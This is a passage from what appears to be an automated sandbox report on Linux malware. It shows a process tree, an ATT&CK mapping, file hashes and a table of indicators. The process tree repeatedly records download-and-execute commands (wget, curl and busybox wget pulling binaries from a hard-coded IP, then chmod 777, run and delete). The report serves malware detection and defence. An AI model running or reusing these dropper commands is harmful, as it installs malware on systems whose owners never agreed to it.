  - Reads runtime system information
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  PID:993
- /bin/chmod
  chmod 777 5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  ./5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm 5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
  2⤵
  PID:996
- /usr/bin/wget
  wget http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  PID:997
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  PID:999
- /bin/chmod
  chmod 777 SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  ./SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  PID:1003
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  PID:1005
- /bin/chmod
  chmod 777 uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  ./uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
  2⤵
  PID:1008
- /usr/bin/wget
  wget http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  PID:1009
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1010
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  PID:1011
- /bin/chmod
  chmod 777 LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  ./LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
  2⤵
  PID:1014

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG

Path /tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG	773	vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
/tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX	779	7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
/tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q	797	Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
/tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6	823	TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
/tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs	842	1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
/tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9	848	UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
/tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg	866	mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
/tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx	890	mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
/tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg	896	R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
/tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5	902	LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5
/tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z	911	7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
/tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7	917	5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
/tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU	923	SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
/tmp/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j	929	uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
/tmp/vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG	935	vnLch11PCKqbHcEESbCqdOM8YSSe77tQqG
/tmp/TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6	941	TgBc4n4j0ybJMJhw9c8Ul3q3bId7BCiVz6
/tmp/1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs	947	1zMfpTLfSXyFdCHqB9Z7Pe9ZCW4LUmk5Qs
/tmp/UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9	953	UpM9JvIXtaYQsn6xkQhBkQ7wrcHzorY2r9
/tmp/mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg	959	mMY47PPrbT91BSWCDbhRVXKgldZtLVI9qg
/tmp/mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx	965	mkLGRmvfHRtthotLiQBgPlADL4UOao7uTx
/tmp/7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX	971	7AQdE9gvhIrlWdR7uThLsTsvwyVI9sZLCX
/tmp/Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q	977	Vsu8Wsl5mKboPKNdmXODFSsXUNwvnKsr8Q
/tmp/R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg	983	R0Oxldn5vVhLP9BtpieXRd3Vz8wsj449Wg
/tmp/7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z	989	7vowx6VM86TP8pxTpnzlbXYAFSxQ9JEy7z
/tmp/5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7	995	5sjc9bNA8BTLCbWfUFNubQyjpgLz49wht7
/tmp/SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU	1001	SqT9KL0mpO16QjpzSaO63RhfJk2QPUp9BU
/tmp/uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j	1007	uNppCt8idFDzaMP0K5O3mrEg6bJbbOLS1j
/tmp/LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5	1013	LEIeFnGoNOLfKhCof07U68LxqW8WKjvFV5